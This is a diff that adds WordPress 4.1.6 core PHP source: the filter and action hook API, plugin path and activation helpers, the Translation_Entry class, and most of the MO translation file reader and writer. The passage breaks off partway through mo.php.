+ * The callback functions attached to filter hook $tag are invoked by calling
+ * this function. This function can be used to create a new filter hook by
+ * simply calling this function with the name of the new hook specified using
+ * the $tag parameter.
+ *
+ * The function allows for additional arguments to be added and passed to hooks.
+ *
+ *     // Our filter callback function
+ *     function example_callback( $string, $arg1, $arg2 ) {
+ *         // (maybe) modify $string
+ *         return $string;
+ *     }
+ *     add_filter( 'example_filter', 'example_callback', 10, 3 );
+ *
+ *     /*
+ *      * Apply the filters by calling the 'example_callback' function we
+ *      * "hooked" to 'example_filter' using the add_filter() function above.
+ *      * - 'example_filter' is the filter hook $tag
+ *      * - 'filter me' is the value being filtered
+ *      * - $arg1 and $arg2 are the additional arguments passed to the callback.
+ *     $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 );
+ *
+ * @since 0.71
+ *
+ * @global array $wp_filter         Stores all of the filters.
+ * @global array $merged_filters    Merges the filter hooks using this function.
+ * @global array $wp_current_filter Stores the list of current filters with the current one last.
+ *
+ * @param string $tag   The name of the filter hook.
+ * @param mixed  $value The value on which the filters hooked to `$tag` are applied on.
+ * @param mixed  $var   Additional variables passed to the functions hooked to `$tag`.
+ * @return mixed The filtered value after all hooked functions are applied to it.
+ */
+function apply_filters( $tag, $value ) {
+	global $wp_filter, $merged_filters, $wp_current_filter;
+
+	$args = array();
+
+	// Do 'all' actions first.
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$args = func_get_args();
+		_wp_call_all_hook($args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return $value;
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	// Sort.
+	if ( !isset( $merged_filters[ $tag ] ) ) {
+		ksort($wp_filter[$tag]);
+		$merged_filters[ $tag ] = true;
+	}
+
+	reset( $wp_filter[ $tag ] );
+
+	if ( empty($args) )
+		$args = func_get_args();
+
+	do {
+		foreach( (array) current($wp_filter[$tag]) as $the_ )
+			if ( !is_null($the_['function']) ){
+				$args[1] = $value;
+				$value = call_user_func_array($the_['function'], array_slice($args, 1, (int) $the_['accepted_args']));
+			}
+
+	} while ( next($wp_filter[$tag]) !== false );
+
+	array_pop( $wp_current_filter );
+
+	return $value;
+}
+
+/**
+ * Execute functions hooked on a specific filter hook, specifying arguments in an array.
+ *
+ * @see 3.0.0
+ *
+ * @see apply_filters() This function is identical, but the arguments passed to the
+ * functions hooked to `$tag` are supplied using an array.
+ *
+ * @global array $wp_filter         Stores all of the filters
+ * @global array $merged_filters    Merges the filter hooks using this function.
+ * @global array $wp_current_filter Stores the list of current filters with the current one last
+ *
+ * @param string $tag  The name of the filter hook.
+ * @param array  $args The arguments supplied to the functions hooked to $tag.
+ * @return mixed The filtered value after all hooked functions are applied to it.
+ */
+function apply_filters_ref_array($tag, $args) {
+	global $wp_filter, $merged_filters, $wp_current_filter;
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return $args[0];
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	// Sort
+	if ( !isset( $merged_filters[ $tag ] ) ) {
+		ksort($wp_filter[$tag]);
+		$merged_filters[ $tag ] = true;
+	}
+
+	reset( $wp_filter[ $tag ] );
+
+	do {
+		foreach( (array) current($wp_filter[$tag]) as $the_ )
+			if ( !is_null($the_['function']) )
+				$args[0] = call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args']));
+
+	} while ( next($wp_filter[$tag]) !== false );
+
+	array_pop( $wp_current_filter );
+
+	return $args[0];
+}
+
+/**
+ * Removes a function from a specified filter hook.
+ *
+ * This function removes a function attached to a specified filter hook. This
+ * method can be used to remove default functions attached to a specific filter
+ * hook and possibly replace them with a substitute.
+ *
+ * To remove a hook, the $function_to_remove and $priority arguments must match
+ * when the hook was added. This goes for both filters and actions. No warning
+ * will be given on removal failure.
+ *
+ * @since 1.2.0
+ *
+ * @param string   $tag                The filter hook to which the function to be removed is hooked.
+ * @param callback $function_to_remove The name of the function which should be removed.
+ * @param int      $priority           Optional. The priority of the function. Default 10.
+ * @return boolean Whether the function existed before it was removed.
+ */
+function remove_filter( $tag, $function_to_remove, $priority = 10 ) {
+	$function_to_remove = _wp_filter_build_unique_id( $tag, $function_to_remove, $priority );
+
+	$r = isset( $GLOBALS['wp_filter'][ $tag ][ $priority ][ $function_to_remove ] );
+
+	if ( true === $r ) {
+		unset( $GLOBALS['wp_filter'][ $tag ][ $priority ][ $function_to_remove ] );
+		if ( empty( $GLOBALS['wp_filter'][ $tag ][ $priority ] ) ) {
+			unset( $GLOBALS['wp_filter'][ $tag ][ $priority ] );
+		}
+		if ( empty( $GLOBALS['wp_filter'][ $tag ] ) ) {
+			$GLOBALS['wp_filter'][ $tag ] = array();
+		}
+		unset( $GLOBALS['merged_filters'][ $tag ] );
+	}
+
+	return $r;
+}
+
+/**
+ * Remove all of the hooks from a filter.
+ *
+ * @since 2.7.0
+ *
+ * @param string   $tag      The filter to remove hooks from.
+ * @param int|bool $priority Optional. The priority number to remove. Default false.
+ * @return bool True when finished.
+ */
+function remove_all_filters( $tag, $priority = false ) {
+	global $wp_filter, $merged_filters;
+
+	if ( isset( $wp_filter[ $tag ]) ) {
+		if ( false !== $priority && isset( $wp_filter[ $tag ][ $priority ] ) ) {
+			$wp_filter[ $tag ][ $priority ] = array();
+		} else {
+			$wp_filter[ $tag ] = array();
+		}
+	}
+
+	if ( isset( $merged_filters[ $tag ] ) ) {
+		unset( $merged_filters[ $tag ] );
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve the name of the current filter or action.
+ *
+ * @since 2.5.0
+ *
+ * @return string Hook name of the current filter or action.
+ */
+function current_filter() {
+	global $wp_current_filter;
+	return end( $wp_current_filter );
+}
+
+/**
+ * Retrieve the name of the current action.
+ *
+ * @since 3.9.0
+ *
+ * @return string Hook name of the current action.
+ */
+function current_action() {
+	return current_filter();
+}
+
+/**
+ * Retrieve the name of a filter currently being processed.
+ *
+ * The function current_filter() only returns the most recent filter or action
+ * being executed. did_action() returns true once the action is initially
+ * processed.
+ *
+ * This function allows detection for any filter currently being
+ * executed (despite not being the most recent filter to fire, in the case of
+ * hooks called from hook callbacks) to be verified.
+ *
+ * @since 3.9.0
+ *
+ * @see current_filter()
+ * @see did_action()
+ * @global array $wp_current_filter Current filter.
+ *
+ * @param null|string $filter Optional. Filter to check. Defaults to null, which
+ *                            checks if any filter is currently being run.
+ * @return bool Whether the filter is currently in the stack.
+ */
+function doing_filter( $filter = null ) {
+	global $wp_current_filter;
+
+	if ( null === $filter ) {
+		return ! empty( $wp_current_filter );
+	}
+
+	return in_array( $filter, $wp_current_filter );
+}
+
+/**
+ * Retrieve the name of an action currently being processed.
+ *
+ * @since 3.9.0
+ *
+ * @param string|null $action Optional. Action to check. Defaults to null, which checks
+ *                            if any action is currently being run.
+ * @return bool Whether the action is currently in the stack.
+ */
+function doing_action( $action = null ) {
+	return doing_filter( $action );
+}
+
+/**
+ * Hooks a function on to a specific action.
+ *
+ * Actions are the hooks that the WordPress core launches at specific points
+ * during execution, or when specific events occur. Plugins can specify that
+ * one or more of its PHP functions are executed at these points, using the
+ * Action API.
+ *
+ * @since 1.2.0
+ *
+ * @param string   $tag             The name of the action to which the $function_to_add is hooked.
+ * @param callback $function_to_add The name of the function you wish to be called.
+ * @param int      $priority        Optional. Used to specify the order in which the functions
+ *                                  associated with a particular action are executed. Default 10.
+ *                                  Lower numbers correspond with earlier execution,
+ *                                  and functions with the same priority are executed
+ *                                  in the order in which they were added to the action.
+ * @param int      $accepted_args   Optional. The number of arguments the function accept. Default 1.
+ * @return bool Will always return true.
+ */
+function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+	return add_filter($tag, $function_to_add, $priority, $accepted_args);
+}
+
+/**
+ * Execute functions hooked on a specific action hook.
+ *
+ * This function invokes all functions attached to action hook `$tag`. It is
+ * possible to create new action hooks by simply calling this function,
+ * specifying the name of the new hook using the `$tag` parameter.
+ *
+ * You can pass extra arguments to the hooks, much like you can with
+ * {@see apply_filters()}.
+ *
+ * @since 1.2.0
+ *
+ * @global array $wp_filter  Stores all of the filters
+ * @global array $wp_actions Increments the amount of times action was triggered.
+ *
+ * @param string $tag The name of the action to be executed.
+ * @param mixed  $arg Optional. Additional arguments which are passed on to the
+ *                    functions hooked to the action. Default empty.
+ * @return null Will return null if $tag does not exist in $wp_filter array.
+ */
+function do_action($tag, $arg = '') {
+	global $wp_filter, $wp_actions, $merged_filters, $wp_current_filter;
+
+	if ( ! isset($wp_actions[$tag]) )
+		$wp_actions[$tag] = 1;
+	else
+		++$wp_actions[$tag];
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return;
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	$args = array();
+	if ( is_array($arg) && 1 == count($arg) && isset($arg[0]) && is_object($arg[0]) ) // array(&$this)
+		$args[] =& $arg[0];
+	else
+		$args[] = $arg;
+	for ( $a = 2; $a < func_num_args(); $a++ )
+		$args[] = func_get_arg($a);
+
+	// Sort
+	if ( !isset( $merged_filters[ $tag ] ) ) {
+		ksort($wp_filter[$tag]);
+		$merged_filters[ $tag ] = true;
+	}
+
+	reset( $wp_filter[ $tag ] );
+
+	do {
+		foreach ( (array) current($wp_filter[$tag]) as $the_ )
+			if ( !is_null($the_['function']) )
+				call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args']));
+
+	} while ( next($wp_filter[$tag]) !== false );
+
+	array_pop($wp_current_filter);
+}
+
+/**
+ * Retrieve the number of times an action is fired.
+ *
+ * @since 2.1.0
+ *
+ * @global array $wp_actions Increments the amount of times action was triggered.
+ *
+ * @param string $tag The name of the action hook.
+ * @return int The number of times action hook $tag is fired.
+ */
+function did_action($tag) {
+	global $wp_actions;
+
+	if ( ! isset( $wp_actions[ $tag ] ) )
+		return 0;
+
+	return $wp_actions[$tag];
+}
+
+/**
+ * Execute functions hooked on a specific action hook, specifying arguments in an array.
+ *
+ * @since 2.1.0
+ *
+ * @see do_action() This function is identical, but the arguments passed to the
+ *                  functions hooked to $tag< are supplied using an array.
+ * @global array $wp_filter  Stores all of the filters
+ * @global array $wp_actions Increments the amount of times action was triggered.
+ *
+ * @param string $tag  The name of the action to be executed.
+ * @param array  $args The arguments supplied to the functions hooked to `$tag`.
+ * @return null Will return null if `$tag` does not exist in `$wp_filter` array.
+ */
+function do_action_ref_array($tag, $args) {
+	global $wp_filter, $wp_actions, $merged_filters, $wp_current_filter;
+
+	if ( ! isset($wp_actions[$tag]) )
+		$wp_actions[$tag] = 1;
+	else
+		++$wp_actions[$tag];
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return;
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	// Sort
+	if ( !isset( $merged_filters[ $tag ] ) ) {
+		ksort($wp_filter[$tag]);
+		$merged_filters[ $tag ] = true;
+	}
+
+	reset( $wp_filter[ $tag ] );
+
+	do {
+		foreach( (array) current($wp_filter[$tag]) as $the_ )
+			if ( !is_null($the_['function']) )
+				call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args']));
+
+	} while ( next($wp_filter[$tag]) !== false );
+
+	array_pop($wp_current_filter);
+}
+
+/**
+ * Check if any action has been registered for a hook.
+ *
+ * @since 2.5.0
+ *
+ * @see has_filter() has_action() is an alias of has_filter().
+ *
+ * @param string        $tag               The name of the action hook.
+ * @param callback|bool $function_to_check Optional. The callback to check for. Default false.
+ * @return bool|int If $function_to_check is omitted, returns boolean for whether the hook has
+ *                  anything registered. When checking a specific function, the priority of that
+ *                  hook is returned, or false if the function is not attached. When using the
+ *                  $function_to_check argument, this function may return a non-boolean value
+ *                  that evaluates to false (e.g.) 0, so use the === operator for testing the
+ *                  return value.
+ */
+function has_action($tag, $function_to_check = false) {
+	return has_filter($tag, $function_to_check);
+}
+
+/**
+ * Removes a function from a specified action hook.
+ *
+ * This function removes a function attached to a specified action hook. This
+ * method can be used to remove default functions attached to a specific filter
+ * hook and possibly replace them with a substitute.
+ *
+ * @since 1.2.0
+ *
+ * @param string   $tag                The action hook to which the function to be removed is hooked.
+ * @param callback $function_to_remove The name of the function which should be removed.
+ * @param int      $priority           Optional. The priority of the function. Default 10.
+ * @return boolean Whether the function is removed.
+ */
+function remove_action( $tag, $function_to_remove, $priority = 10 ) {
+	return remove_filter( $tag, $function_to_remove, $priority );
+}
+
+/**
+ * Remove all of the hooks from an action.
+ *
+ * @since 2.7.0
+ *
+ * @param string   $tag      The action to remove hooks from.
+ * @param int|bool $priority The priority number to remove them from. Default false.
+ * @return bool True when finished.
+ */
+function remove_all_actions($tag, $priority = false) {
+	return remove_all_filters($tag, $priority);
+}
+
+//
+// Functions for handling plugins.
+//
+
+/**
+ * Gets the basename of a plugin.
+ *
+ * This method extracts the name of a plugin from its filename.
+ *
+ * @since 1.5.0
+ *
+ * @param string $file The filename of plugin.
+ * @return string The name of a plugin.
+ */
+function plugin_basename( $file ) {
+	global $wp_plugin_paths;
+
+	foreach ( $wp_plugin_paths as $dir => $realdir ) {
+		if ( strpos( $file, $realdir ) === 0 ) {
+			$file = $dir . substr( $file, strlen( $realdir ) );
+		}
+	}
+
+	$file = wp_normalize_path( $file );
+	$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );
+	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
+
+	$file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . preg_quote($mu_plugin_dir, '#') . '/#','',$file); // get relative path from plugins dir
+	$file = trim($file, '/');
+	return $file;
+}
+
+/**
+ * Register a plugin's real path.
+ *
+ * This is used in plugin_basename() to resolve symlinked paths.
+ *
+ * @since 3.9.0
+ *
+ * @see plugin_basename()
+ *
+ * @param string $file Known path to the file.
+ * @return bool Whether the path was able to be registered.
+ */
+function wp_register_plugin_realpath( $file ) {
+	global $wp_plugin_paths;
+
+	// Normalize, but store as static to avoid recalculation of a constant value
+	static $wp_plugin_path, $wpmu_plugin_path;
+	if ( ! isset( $wp_plugin_path ) ) {
+		$wp_plugin_path   = wp_normalize_path( WP_PLUGIN_DIR   );
+		$wpmu_plugin_path = wp_normalize_path( WPMU_PLUGIN_DIR );
+	}
+
+	$plugin_path = wp_normalize_path( dirname( $file ) );
+	$plugin_realpath = wp_normalize_path( dirname( realpath( $file ) ) );
+
+	if ( $plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path ) {
+		return false;
+	}
+
+	if ( $plugin_path !== $plugin_realpath ) {
+		$wp_plugin_paths[ $plugin_path ] = $plugin_realpath;
+	}
+
+	return true;
+}
+
+/**
+ * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in.
+ *
+ * @since 2.8.0
+ *
+ * @param string $file The filename of the plugin (__FILE__).
+ * @return string the filesystem path of the directory that contains the plugin.
+ */
+function plugin_dir_path( $file ) {
+	return trailingslashit( dirname( $file ) );
+}
+
+/**
+ * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in.
+ *
+ * @since 2.8.0
+ *
+ * @param string $file The filename of the plugin (__FILE__).
+ * @return string the URL path of the directory that contains the plugin.
+ */
+function plugin_dir_url( $file ) {
+	return trailingslashit( plugins_url( '', $file ) );
+}
+
+/**
+ * Set the activation hook for a plugin.
+ *
+ * When a plugin is activated, the action 'activate_PLUGINNAME' hook is
+ * called. In the name of this hook, PLUGINNAME is replaced with the name
+ * of the plugin, including the optional subdirectory. For example, when the
+ * plugin is located in wp-content/plugins/sampleplugin/sample.php, then
+ * the name of this hook will become 'activate_sampleplugin/sample.php'.
+ *
+ * When the plugin consists of only one file and is (as by default) located at
+ * wp-content/plugins/sample.php the name of this hook will be
+ * 'activate_sample.php'.
+ *
+ * @since 2.0.0
+ *
+ * @param string   $file     The filename of the plugin including the path.
+ * @param callback $function The function hooked to the 'activate_PLUGIN' action.
+ */
+function register_activation_hook($file, $function) {
+	$file = plugin_basename($file);
+	add_action('activate_' . $file, $function);
+}
+
+/**
+ * Set the deactivation hook for a plugin.
+ *
+ * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is
+ * called. In the name of this hook, PLUGINNAME is replaced with the name
+ * of the plugin, including the optional subdirectory. For example, when the
+ * plugin is located in wp-content/plugins/sampleplugin/sample.php, then
+ * the name of this hook will become 'deactivate_sampleplugin/sample.php'.
+ *
+ * When the plugin consists of only one file and is (as by default) located at
+ * wp-content/plugins/sample.php the name of this hook will be
+ * 'deactivate_sample.php'.
+ *
+ * @since 2.0.0
+ *
+ * @param string   $file     The filename of the plugin including the path.
+ * @param callback $function The function hooked to the 'deactivate_PLUGIN' action.
+ */
+function register_deactivation_hook($file, $function) {
+	$file = plugin_basename($file);
+	add_action('deactivate_' . $file, $function);
+}
+
+/**
+ * Set the uninstallation hook for a plugin.
+ *
+ * Registers the uninstall hook that will be called when the user clicks on the
+ * uninstall link that calls for the plugin to uninstall itself. The link won't
+ * be active unless the plugin hooks into the action.
+ *
+ * The plugin should not run arbitrary code outside of functions, when
+ * registering the uninstall hook. In order to run using the hook, the plugin
+ * will have to be included, which means that any code laying outside of a
+ * function will be run during the uninstall process. The plugin should not
+ * hinder the uninstall process.
+ *
+ * If the plugin can not be written without running code within the plugin, then
+ * the plugin should create a file named 'uninstall.php' in the base plugin
+ * folder. This file will be called, if it exists, during the uninstall process
+ * bypassing the uninstall hook. The plugin, when using the 'uninstall.php'
+ * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before
+ * executing.
+ *
+ * @since 2.7.0
+ *
+ * @param string   $file     Plugin file.
+ * @param callback $callback The callback to run when the hook is called. Must be
+ *                           a static method or function.
+ */
+function register_uninstall_hook( $file, $callback ) {
+	if ( is_array( $callback ) && is_object( $callback[0] ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1' );
+		return;
+	}
+
+	/*
+	 * The option should not be autoloaded, because it is not needed in most
+	 * cases. Emphasis should be put on using the 'uninstall.php' way of
+	 * uninstalling the plugin.
+	 */
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	$uninstallable_plugins[plugin_basename($file)] = $callback;
+
+	update_option('uninstall_plugins', $uninstallable_plugins);
+}
+
+/**
+ * Call the 'all' hook, which will process the functions hooked into it.
+ *
+ * The 'all' hook passes all of the arguments or parameters that were used for
+ * the hook, which this function was called for.
+ *
+ * This function is used internally for apply_filters(), do_action(), and
+ * do_action_ref_array() and is not meant to be used from outside those
+ * functions. This function does not check for the existence of the all hook, so
+ * it will fail unless the all hook exists prior to this function call.
+ *
+ * @since 2.5.0
+ * @access private
+ *
+ * @param array $args The collected parameters from the hook that was called.
+ */
+function _wp_call_all_hook($args) {
+	global $wp_filter;
+
+	reset( $wp_filter['all'] );
+	do {
+		foreach( (array) current($wp_filter['all']) as $the_ )
+			if ( !is_null($the_['function']) )
+				call_user_func_array($the_['function'], $args);
+
+	} while ( next($wp_filter['all']) !== false );
+}
+
+/**
+ * Build Unique ID for storage and retrieval.
+ *
+ * The old way to serialize the callback caused issues and this function is the
+ * solution. It works by checking for objects and creating an a new property in
+ * the class to keep track of the object and new objects of the same class that
+ * need to be added.
+ *
+ * It also allows for the removal of actions and filters for objects after they
+ * change class properties. It is possible to include the property $wp_filter_id
+ * in your class and set it to "null" or a number to bypass the workaround.
+ * However this will prevent you from adding new classes and any new classes
+ * will overwrite the previous hook by the same class.
+ *
+ * Functions and static method callbacks are just returned as strings and
+ * shouldn't have any speed penalty.
+ *
+ * @link https://core.trac.wordpress.org/ticket/3875
+ *
+ * @since 2.2.3
+ * @access private
+ *
+ * @global array $wp_filter Storage for all of the filters and actions.
+ *
+ * @param string   $tag      Used in counting how many hooks were applied
+ * @param callback $function Used for creating unique id
+ * @param int|bool $priority Used in counting how many hooks were applied. If === false
+ *                           and $function is an object reference, we return the unique
+ *                           id only if it already has one, false otherwise.
+ * @return string|bool Unique ID for usage as array key or false if $priority === false
+ *                     and $function is an object reference, and it does not already have
+ *                     a unique id.
+ */
+function _wp_filter_build_unique_id($tag, $function, $priority) {
+	global $wp_filter;
+	static $filter_id_count = 0;
+
+	if ( is_string($function) )
+		return $function;
+
+	if ( is_object($function) ) {
+		// Closures are currently implemented as objects
+		$function = array( $function, '' );
+	} else {
+		$function = (array) $function;
+	}
+
+	if (is_object($function[0]) ) {
+		// Object Class Calling
+		if ( function_exists('spl_object_hash') ) {
+			return spl_object_hash($function[0]) . $function[1];
+		} else {
+			$obj_idx = get_class($function[0]).$function[1];
+			if ( !isset($function[0]->wp_filter_id) ) {
+				if ( false === $priority )
+					return false;
+				$obj_idx .= isset($wp_filter[$tag][$priority]) ? count((array)$wp_filter[$tag][$priority]) : $filter_id_count;
+				$function[0]->wp_filter_id = $filter_id_count;
+				++$filter_id_count;
+			} else {
+				$obj_idx .= $function[0]->wp_filter_id;
+			}
+
+			return $obj_idx;
+		}
+	} else if ( is_string($function[0]) ) {
+		// Static Calling
+		return $function[0] . '::' . $function[1];
+	}
+}
Index: /tags/4.1.6/src/wp-includes/pomo/entry.php
===================================================================
--- /tags/4.1.6/src/wp-includes/pomo/entry.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/pomo/entry.php	(revision 33402)
@@ -0,0 +1,78 @@
+<?php
+/**
+ * Contains Translation_Entry class
+ *
+ * @version $Id: entry.php 718 2012-10-31 00:32:02Z nbachiyski $
+ * @package pomo
+ * @subpackage entry
+ */
+
+if ( !class_exists( 'Translation_Entry' ) ):
+/**
+ * Translation_Entry class encapsulates a translatable string
+ */
+class Translation_Entry {
+
+	/**
+	 * Whether the entry contains a string and its plural form, default is false
+	 *
+	 * @var boolean
+	 */
+	var $is_plural = false;
+
+	var $context = null;
+	var $singular = null;
+	var $plural = null;
+	var $translations = array();
+	var $translator_comments = '';
+	var $extracted_comments = '';
+	var $references = array();
+	var $flags = array();
+
+	/**
+	 * @param array $args associative array, support following keys:
+	 * 	- singular (string) -- the string to translate, if omitted and empty entry will be created
+	 * 	- plural (string) -- the plural form of the string, setting this will set {@link $is_plural} to true
+	 * 	- translations (array) -- translations of the string and possibly -- its plural forms
+	 * 	- context (string) -- a string differentiating two equal strings used in different contexts
+	 * 	- translator_comments (string) -- comments left by translators
+	 * 	- extracted_comments (string) -- comments left by developers
+	 * 	- references (array) -- places in the code this strings is used, in relative_to_root_path/file.php:linenum form
+	 * 	- flags (array) -- flags like php-format
+	 */
+	function Translation_Entry($args=array()) {
+		// if no singular -- empty object
+		if (!isset($args['singular'])) {
+			return;
+		}
+		// get member variable values from args hash
+		foreach ($args as $varname => $value) {
+			$this->$varname = $value;
+		}
+		if (isset($args['plural'])) $this->is_plural = true;
+		if (!is_array($this->translations)) $this->translations = array();
+		if (!is_array($this->references)) $this->references = array();
+		if (!is_array($this->flags)) $this->flags = array();
+	}
+
+	/**
+	 * Generates a unique key for this entry
+	 *
+	 * @return string|bool the key or false if the entry is empty
+	 */
+	function key() {
+		if (is_null($this->singular)) return false;
+		// prepend context and EOT, like in MO files
+		return is_null($this->context)? $this->singular : $this->context.chr(4).$this->singular;
+	}
+
+	function merge_with(&$other) {
+		$this->flags = array_unique( array_merge( $this->flags, $other->flags ) );
+		$this->references = array_unique( array_merge( $this->references, $other->references ) );
+		if ( $this->extracted_comments != $other->extracted_comments ) {
+			$this->extracted_comments .= $other->extracted_comments;
+		}
+
+	}
+}
+endif;
Index: /tags/4.1.6/src/wp-includes/pomo/mo.php
===================================================================
--- /tags/4.1.6/src/wp-includes/pomo/mo.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/pomo/mo.php	(revision 33402)
@@ -0,0 +1,265 @@
+<?php
+/**
+ * Class for working with MO files
+ *
+ * @version $Id: mo.php 718 2012-10-31 00:32:02Z nbachiyski $
+ * @package pomo
+ * @subpackage mo
+ */
+
+require_once dirname(__FILE__) . '/translations.php';
+require_once dirname(__FILE__) . '/streams.php';
+
+if ( !class_exists( 'MO' ) ):
+class MO extends Gettext_Translations {
+
+	var $_nplurals = 2;
+
+	/**
+	 * Fills up with the entries from MO file $filename
+	 *
+	 * @param string $filename MO file to load
+	 */
+	function import_from_file($filename) {
+		$reader = new POMO_FileReader($filename);
+		if (!$reader->is_resource())
+			return false;
+		return $this->import_from_reader($reader);
+	}
+
+	function export_to_file($filename) {
+		$fh = fopen($filename, 'wb');
+		if ( !$fh ) return false;
+		$res = $this->export_to_file_handle( $fh );
+		fclose($fh);
+		return $res;
+	}
+
+	function export() {
+		$tmp_fh = fopen("php://temp", 'r+');
+		if ( !$tmp_fh ) return false;
+		$this->export_to_file_handle( $tmp_fh );
+		rewind( $tmp_fh );
+		return stream_get_contents( $tmp_fh );
+	}
+
+	function is_entry_good_for_export( $entry ) {
+		if ( empty( $entry->translations ) ) {
+			return false;
+		}
+
+		if ( !array_filter( $entry->translations ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	function export_to_file_handle($fh) {
+		$entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) );
+		ksort($entries);
+		$magic = 0x950412de;
+		$revision = 0;
+		$total = count($entries) + 1; // all the headers are one entry
+		$originals_lenghts_addr = 28;
+		$translations_lenghts_addr = $originals_lenghts_addr + 8 * $total;
+		$size_of_hash = 0;
+		$hash_addr = $translations_lenghts_addr + 8 * $total;
+		$current_addr = $hash_addr;
+		fwrite($fh, pack('V*', $magic, $revision, $total, $originals_lenghts_addr,
+			$translations_lenghts_addr, $size_of_hash, $hash_addr));
+		fseek($fh, $originals_lenghts_addr);
+
+		// headers' msgid is an empty string
+		fwrite($fh, pack('VV', 0, $current_addr));
+		$current_addr++;
+		$originals_table = chr(0);
+
+		$reader = new POMO_Reader();
+
+		foreach($entries as $entry) {
+			$originals_table .= $this->export_original($entry) . chr(0);
+			$length = $reader->strlen($this->export_original($entry));
+			fwrite($fh, pack('VV', $length, $current_addr));
+			$current_addr += $length + 1; // account for the NULL byte after
+		}
+
+		$exported_headers = $this->export_headers();
+		fwrite($fh, pack('VV', $reader->strlen($exported_headers), $current_addr));
+		$current_addr += strlen($exported_headers) + 1;
+		$translations_table = $exported_headers . chr(0);
+
+		foreach($entries as $entry) {
+			$translations_table .= $this->export_translations($entry) . chr(0);
+			$length = $reader->strlen($this->export_translations($entry));
+			fwrite($fh, pack('VV', $length, $current_addr));
+			$current_addr += $length + 1;
+		}
+
+		fwrite($fh, $originals_table);
+		fwrite($fh, $translations_table);
+		return true;
+	}
+
+	function export_original($entry) {
+		//TODO: warnings for control characters
+		$exported = $entry->singular;
+		if ($entry->is_plural) $exported .= chr(0).$entry->plural;
+		if (!is_null($entry->context)) $exported = $entry->context . chr(4) . $exported;
+		return $exported;
+	}
+
+	function export_translations($entry) {
+		//TODO: warnings for control characters
+		return implode(chr(0), $entry->translations);
+	}
+
+	function export_headers() {
+		$exported = '';
+		foreach($this->headers as $header => $value) {
+			$exported.= "$header: $value\n";
+		}
+		return $exported;
+	}
+
+	function get_byteorder($magic) {
+		// The magic is 0x950412de
+
+		// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
+		$magic_little = (int) - 1794895138;
+		$magic_little_64 = (int) 2500072158;
+		// 0xde120495
+		$magic_big = ((int) - 569244523) & 0xFFFFFFFF;
+		if ($magic_little == $magic || $magic_little_64 == $magic) {
+			return 'little';
+		} else if ($magic_big == $magic) {
+			return 'big';
+		} else {
+			return false;
+		}
+	}
+
+	/**
+	 * @param POMO_FileReader $reader
+	 */
+	function import_from_reader($reader) {
+		$endian_string = MO::get_byteorder($reader->readint32());
+		if (false === $endian_string) {
+			return false;
+		}
+		$reader->setEndian($endian_string);
+
+		$endian = ('big' == $endian_string)? 'N' : 'V';
+
+		$header = $reader->read(24);
+		if ($reader->strlen($header) != 24)
+			return false;
+
+		// parse header
+		$header = unpack("{$endian}revision/{$endian}total/{$endian}originals_lenghts_addr/{$endian}translations_lenghts_addr/{$endian}hash_length/{$endian}hash_addr", $header);
+		if (!is_array($header))
+			return false;
+
+		// support revision 0 of MO format specs, only
+		if ( $header['revision'] != 0 ) {
+			return false;
+		}
+
+		// seek to data blocks
+		$reader->seekto( $header['originals_lenghts_addr'] );
+
+		// read originals' indices
+		$originals_lengths_length = $header['translations_lenghts_addr'] - $header['originals_lenghts_addr'];
+		if ( $originals_lengths_length != $header['total'] * 8 ) {
+			return false;
+		}
+
+		$originals = $reader->read($originals_lengths_length);
+		if ( $reader->strlen( $originals ) != $originals_lengths_length ) {
+			return false;
+		}
+
+		// read translations' indices
+		$translations_lenghts_length = $header['hash_addr'] - $header['translations_lenghts_addr'];
+		if ( $translations_lenghts_length != $header['total'] * 8 ) {
+			return false;
+		}
+
+		$translations = $reader->read($translations_lenghts_length);
+		if ( $reader->strlen( $translations ) != $translations_lenghts_length ) {
+			return false;
+		}
+
+		// transform raw data into set of indices
